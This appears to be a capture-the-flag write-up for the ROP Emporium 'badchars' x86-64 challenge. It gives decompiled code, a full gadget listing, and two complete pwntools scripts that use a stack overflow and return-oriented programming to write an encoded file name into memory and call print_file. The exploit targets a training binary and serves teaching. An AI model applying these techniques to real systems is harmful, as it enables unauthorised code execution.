Let’s run file as usual.
$ file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c`79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped
Then checksec.
$ checksec badchars
[*] '/home/hwkim301/rop_emporium/badchars/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
Do it once more on the shared library.
$ file libbadchars.so
libbadchars.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2a0c29dc645fb4176ba64218dd458330b4591db5, not stripped
$ checksec libbadchars.so
[*] '/home/hwkim301/rop_emporium/badchars/libbadchars.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Load the executable to ghidra.
undefined8 main(void)
{
pwnme();
return 0;
}
There isn’t any meaningful information in the executable itself.
/* WARNING: Control flow encountered bad instruction data */
void pwnme(void)
{
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata();
}
This time load the shared library to ghidra.
Here’s the pwnme function.
void pwnme(void)
{
ulong uVar1;
ulong local_40;
ulong local_38;
char acStack_28 [32];
setvbuf(_stdout,(char *)0x0,2,0);
puts("badchars by ROP Emporium");
puts("x86_64\n");
memset(acStack_28,0,0x20);
puts("badchars are: \'x\', \'g\', \'a\', \'.\'");
printf("> ");
uVar1 = read(0,acStack_28,0x200);
for (local_40 = 0; local_40 < uVar1; local_40 = local_40 + 1) {
for (local_38 = 0; local_38 < 4; local_38 = local_38 + 1) {
if (acStack_28[local_40] == "xga.badchars by ROP Emporium"[local_38]) {
acStack_28[local_40] = -0x15;
}
}
}
puts("Thank you!");
return;
}
Normally, we would only need a pop rdi ret gadget to send flag.txt and the memory address of print_file.
However, if we look at the code below it does something strange.
for (local_40 = 0; local_40 < uVar1; local_40 = local_40 + 1) {
for (local_38 = 0; local_38 < 4; local_38 = local_38 + 1) {
if (acStack_28[local_40] == "xga.badchars by ROP Emporium"[local_38]) {
acStack_28[local_40] = -0x15;
}
}
}
If the data we are sending has any characters from x, g, a, ., the moment it will replace that character with -0x15.
Here’s the python script gemini wrote to simulate what pwnme does.
badchars = ['x', 'g', 'a', '.']
flag = 'flag.txt'
def simulate(input_str, filters):
result = []
for char in input_str:
if char in filters:
crap = (-0x15) & 0xFF
result.append(crap)
else:
result.append(ord(char))
return result
filtered = simulate(flag, badchars)
print(f'Original: {flag}')
print(f'Filtered (Hex): {[hex(b) for b in filtered]}')
broken = ''.join([chr(b) for b in filtered])
print(f"Memory State: {broken}")
'''
Original: flag.txt
Filtered (Hex): ['0x66', '0x6c', '0xeb', '0xeb', '0xeb', '0x74', '0xeb', '0x74']
Memory State: flëëëtët
'''
If the program encounters any single x, g, a or . it will substitute it with a ë.
Since most of us aren’t French, I don’t think getting a ë will help us at all.
As a result, we’ve got to find a way to pass flag.txt, without literally passing x or g or a or ..
Unfortunately, it looks like all x, g, a and . are all included flag.txt.
There’s aprint_file function.
void print_file(char *param_1)
{
char local_38 [40];
FILE *local_10;
local_10 = (FILE *)0x0;
local_10 = fopen(param_1,"r");
if (local_10 == (FILE *)0x0) {
printf("Failed to open file: %s\n",param_1);
/* WARNING: Subroutine does not return */
exit(1);
}
fgets(local_38,0x21,local_10);
puts(local_38);
fclose(local_10);
return;
}
It looks like we need to call this with flag.txt as the argument.
Run ROPgadget to check which instructions can be helpful when setting function arguments.
$ ROPgadget --binary badchars
Gadgets information
============================================================
0x000000000040057e : adc byte ptr [rax], ah ; jmp rax
0x0000000000400502 : adc cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 0 ; jmp 0x4004f0
0x00000000004004df : adc eax, 0x4800200b ; test eax, eax ; je 0x4004ea ; call rax
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret
0x000000000040061e : add al, bpl ; jmp 0x400621
0x000000000040061f : add al, ch ; jmp 0x400621
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400507 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4004f0
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005fc : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004005fd : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x0000000000400509 : add byte ptr [rax], al ; jmp 0x4004f0
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005fe : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x000000000040054e : add byte ptr [rax], al ; repz ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; repz ret
0x00000000004005ff : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x0000000000400517 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4004f0
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
0x0000000000400548 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400504 : and byte ptr [rax], al ; push 0 ; jmp 0x4004f0
0x0000000000400514 : and byte ptr [rax], al ; push 1 ; jmp 0x4004f0
0x00000000004004e1 : and byte ptr [rax], al ; test rax, rax ; je 0x4004ea ; call rax
0x0000000000400624 : call qword ptr [rax + 0x3045c35d]
0x000000000040070f : call qword ptr [rax + 1]
0x00000000004007a3 : call qword ptr [rax]
0x00000000004007c3 : call qword ptr [rcx]
0x00000000004004e8 : call rax
0x000000000040068c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040054a : hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400603 : in eax, 0x5d ; jmp 0x400590
0x00000000004004e6 : je 0x4004ea ; call rax
0x0000000000400579 : je 0x400588 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005bb : je 0x4005c8 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004002cc : jmp 0x4002a1
0x000000000040050b : jmp 0x4004f0
0x0000000000400605 : jmp 0x400590
0x0000000000400621 : jmp 0x400621
0x00000000004006df : jmp qword ptr [rax + 0x50000000]
0x00000000004006e7 : jmp qword ptr [rax]
0x00000000004007e3 : jmp qword ptr [rbp]
0x0000000000400581 : jmp rax
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400625 : nop ; pop rbp ; ret
0x0000000000400583 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040054b : nop dword ptr [rax + rax] ; repz ret
0x00000000004005c5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004005e5 : or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400512 : or cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 1 ; jmp 0x4004f0
0x00000000004005e4 : or r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400506 : push 0 ; jmp 0x4004f0
0x0000000000400516 : push 1 ; jmp 0x4004f0
0x0000000000400600 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400550 : repz ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
0x00000000004004e5 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400630 : sub byte ptr [r15], r14b ; ret
0x0000000000400631 : sub byte ptr [rdi], dh ; ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004004e4 : test eax, eax ; je 0x4004ea ; call rax
0x00000000004004e3 : test rax, rax ; je 0x4004ea ; call rax
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret
Unique gadgets found: 93
Here’s the pwntools code.
from pwn import *
p=process('./badchars')
e=ELF('./badchars')
rop=ROP(e)
ret=rop.find_gadget(['ret']).address
pop_r12_r13_r14_r15_ret=0x40069c
flag=b'flag.txt'
mov_r13_r12_ret=0x400634
pop_rdi_ret=rop.find_gadget(['pop rdi','ret']).address
pop_r14_r15_ret=rop.find_gadget(['pop r14','pop r15','ret']).address
add_r15_r14b_ret=0x40062c
payload=b'A'*40
payload+=p64(pop_r12_r13_r14_r15_ret)
payload+=flag
payload+=p64(e.bss())
payload+=b'A'*16
payload+=p64(mov_r13_r12_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('a')+21)+p64(e.bss()+2)+p64(add_r15_r14b_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('g')+21)+p64(e.bss()+3)+p64(add_r15_r14b_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('.')+21)+p64(e.bss()+4)+p64(add_r15_r14b_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('x')+21)+p64(e.bss()+6)+p64(add_r15_r14b_ret)
payload+=p64(pop_rdi_ret)
payload+=p64(e.bss())
payload+=p64(ret)
payload+=p64(e.symbols['print_file'])
p.send(payload)
p.interactive()
Let’s break it down by line by line.
Send dummy b'A', until the saved base pointer gets overwritten.
Then overwrite the return address with pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret.
Let’s save flag.txt to the r12 register.
Then save the bss address of the binary to r13.
We still have to fill something to r14 and r15 before, it continues program execution.
You can pass a 0 or anything that is a size of a 8 byte in little-endian.
I sent b'A'*16, this will now both fill up r14 and r15.
With the ret instruction, the program will continue executing.
Now let’s use the mov qword ptr [r13], r12 ; ret instruction.
This will allow r12 the register with flag.txt saved into r13 which is the bss address.
As a consequence, the bss address will now store the flag.txt.
You might ask, isn’t mov r13, r12 enough?
Wouldn’t that copy flag.txt to the bss?
Well, it does copy flag.txt, but the problem is that we need a certain address to saved flag.txt.
When functions are called and parameters are passed, we don’t need the actual string.
What we need, is the address of where that string is stored at.
That’s why you need to use mov qword ptr [r13], r12 ; ret instead of mov r13, r12.
Here comes the tricky part.
Previously, we saved flag.txt to bss.
However x, g, a, or . exist in flag.txt, the actual value bss points will be ë.
Since the memory is storing -0x15, if we can pass the 0x15 and add each badchar we can fix it back.
The pop r14 ; pop r15 ; ret gadgets will allow us to save values to r14 and r15.
payload+=p64(pop_r14_r15_ret)+p64(ord('a')+21)+p64(e.bss()+2)+p64(add_r15_r14b_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('g')+21)+p64(e.bss()+3)+p64(add_r15_r14b_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('.')+21)+p64(e.bss()+4)+p64(add_r15_r14b_ret)
payload+=p64(pop_r14_r15_ret)+p64(ord('x')+21)+p64(e.bss()+6)+p64(add_r15_r14b_ret)
First we’ll pass the ascii char of each badchar plus 21 for r14.
We need to find the address of where each badchar is stored.
The numbers, 2,3,4,6 might seem to come out of nowhere.
But if you look at the offsets of badchars from flag.txt, you’ll understand right away.

After that, we need to add the go to the lookup the memory address where the -0x15 are stored and add 21 + badchars.
To do that we can use add byte ptr [r15], r14b ; ret.
Notice how there’s the word byte ptr.
The instruction needs to specify that we’re dereferencing a byte at r15, because otherwise we can’t access only a single byte at a time.
This allows us to carefully handle each badchar one by one.
All we need to do is call print_file, with flag.txt.
Here’s the code for that.
payload+=p64(pop_rdi_ret)
payload+=p64(e.bss())
payload+=p64(ret)
payload+=p64(e.symbols['print_file'])
Execute the code and the flag will be printed.
Weird, for some reason, I need to send a couple of '\n's before I can type to the terminal again…
$ python solve.py
[+] Starting local process './badchars': pid 12326
[*] '/home/hwkim301/rop_emporium/badchars/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[*] Loaded 13 cached gadgets for './badchars'
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> $
Thank you!
$
$
$
[*] Got EOF while reading in interactive
$
[*] Process './badchars' stopped with exit code -11 (SIGSEGV) (pid 12326)
[*] Got EOF while sending in interactive
Gemini showed me another method.
Instead of sending flag.txt and adding 21 + badchars, you can send flag.txt and subtract 0x21 from the badchars in the first place.
The advantages of this is that you just need to pass 21 to r14.
from pwn import *
p = process('./badchars')
e = ELF('./badchars')
rop = ROP(e)
data_addr = e.bss() + 0x500 # some slack
print_file = e.symbols['print_file']
pop_r12_r13_r14_r15_ret = 0x40069C
mov_r13_r12_ret = 0x400634
add_r15_r14b_ret = 0x40062C
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_r14_r15 = rop.find_gadget(['pop r14', 'pop r15', 'ret']).address
ret = rop.find_gadget(['ret']).address
original_flag = b'flag.txt'
badchars_indices = [2, 3, 4, 6]
encoded_list = list(original_flag)
for i in badchars_indices:
encoded_list[i] -= 21
encoded_flag = bytes(encoded_list)
payload = b'A' * 40
payload += p64(pop_r12_r13_r14_r15_ret)
payload += encoded_flag
payload += p64(data_addr)
payload += p64(0) * 2
payload += p64(mov_r13_r12_ret)
for i in badchars_indices:
payload += p64(pop_r14_r15)
payload += p64(21)
payload += p64(data_addr + i)
payload += p64(add_r15_r14b_ret)
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(ret)
payload += p64(print_file)
p.sendline(payload)
p.interactive()